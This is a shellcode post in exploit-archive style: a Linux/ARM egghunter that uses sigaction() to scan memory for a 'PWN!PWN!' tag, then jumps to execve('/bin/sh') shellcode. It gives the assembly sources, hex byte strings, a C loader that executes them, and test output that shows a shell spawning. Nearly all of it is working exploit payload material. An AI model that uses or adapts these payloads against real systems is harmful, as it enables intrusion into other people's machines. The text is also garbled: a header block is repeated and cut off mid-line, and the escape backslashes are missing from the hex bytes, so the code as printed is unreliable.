Linux ARM sigaction Egghunting Shellcode

/*
# Title: Linux/ARM - sigaction() Based Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (52 Bytes)
# Date: 2018-09-24
# Tested: armv7l (Raspberry Pi 3 Mode /*
# Title: Linux/ARM - sigaction() Based Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (52 Bytes)
# Date: 2018-09-24
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara

[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $


[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode. (20 Bytes)
pi@raspberrypi:~ $ cat shell.s
.section .text
.global _start

_start:
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #endline-spawn-1]
mov r7, #11
svc #1

spawn:
.ascii "/bin/shX"
endline:
pi@raspberrypi:~ $ as -o shell.o shell.s && ld -N -o shell shell.o
pi@raspberrypi:~ $ objcopy -O binary shell shell.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' shell.bin && echo
x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58
pi@raspberrypi:~ $


(2) Create egghunting shellcode. (52 Bytes)
pi@raspberrypi:~ $ cat egghunter.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
eor r1, r1, r1
mov r3, #0xff

page_align:
orr r1, r3
ldr r4, egg
next_addr:
mov r7, #0x43
add r1, r1, #1
svc #1
sub r7, r7, #0x51
cmp r0, r7
beq page_align
ldr r2, [r1]
cmp r2, r4
bne next_addr
add r1, #4
ldr r2, [r1]
cmp r2, r4
bne next_addr
add r1, #4
mov pc, r1
eor r7, r7, r7

egg:
.ascii "PWN!"
pi@raspberrypi:~ $ as -o egghunter.o egghunter.s && ld -N -o egghunter egghunter.o
pi@raspberrypi:~ $ objcopy -O binary egghunter egghunter.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' egghunter.bin && echo
x01xe0x8fxe2x1exffx2fxe1x49x40xffx23x19x43x08x4cx43x27x01x31x01xdfx51x3fxb8x42xf7xd0x0ax68xa2x42xf6xd1x04x31x0ax68xa2x42xf2xd1x04x31x8fx46x7fx40x50x57x4ex21
pi@raspberrypi:~ $


[Operation Test]
pi@raspberrypi:~ $ gcc -fno-stack-protector -z execstack loader.c -o loader
pi@raspberrypi:~ $ ./loader
Egghunting Shellcode Length: 52
Shellcode Length: 28
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ exit
pi@raspberrypi:~ $

*/

#include<stdio.h>
#include<string.h>

unsigned char shell[] =
// Egg Tag (4 Bytes * 2)
"PWN!PWN!"
// execve("/bin/sh", NULL, NULL) Shellcode (20 Bytes)
"x02xa0x49x40x52x40xc2x71"
"x0bx27x01xdfx2fx62x69x6e"
"x2fx73x68x58";

// Egghunting Shellcode (52 Bytes)
unsigned char sc[] =
"x01xe0x8fxe2x1exffx2fxe1"
"x49x40xffx23x19x43x08x4c"
"x43x27x01x31x01xdfx51x3f"
"xb8x42xf7xd0x0ax68xa2x42"
"xf6xd1x04x31x0ax68xa2x42"
"xf2xd1x04x31x8fx46x7fx40"
"x50x57x4ex21";

void main()
{
printf("Egghunting Shellcode Length: %d ", strlen(sc));
printf("Shellcode Length: %d ", strlen(shell));

int (*ret)() = (int(*)())sc;

ret();
}